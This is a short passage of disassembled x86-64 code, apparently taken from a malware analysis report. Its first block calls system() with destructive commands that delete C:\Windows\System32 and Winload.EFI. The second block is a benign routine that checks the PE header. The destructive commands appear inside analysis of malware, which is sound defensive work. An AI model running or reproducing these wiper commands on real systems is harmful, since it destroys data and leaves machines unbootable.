lea rcx, str.rmdir__F__S__Q_C:WindowsSystem32_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140002370]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__F_C:WindowsSystem32Winload.EFI
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__F_C:WindowsSystem32Winload.EFI
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.del__F_C:WindowsSystem32Winload.EFI
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x140001a48
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001a92
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001a92
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001a92
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001a92
cmp dword [rcx + 0x84], 0xe
jbe 0x140001a92
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001a94
xor al, al
add rsp, 0x28
ret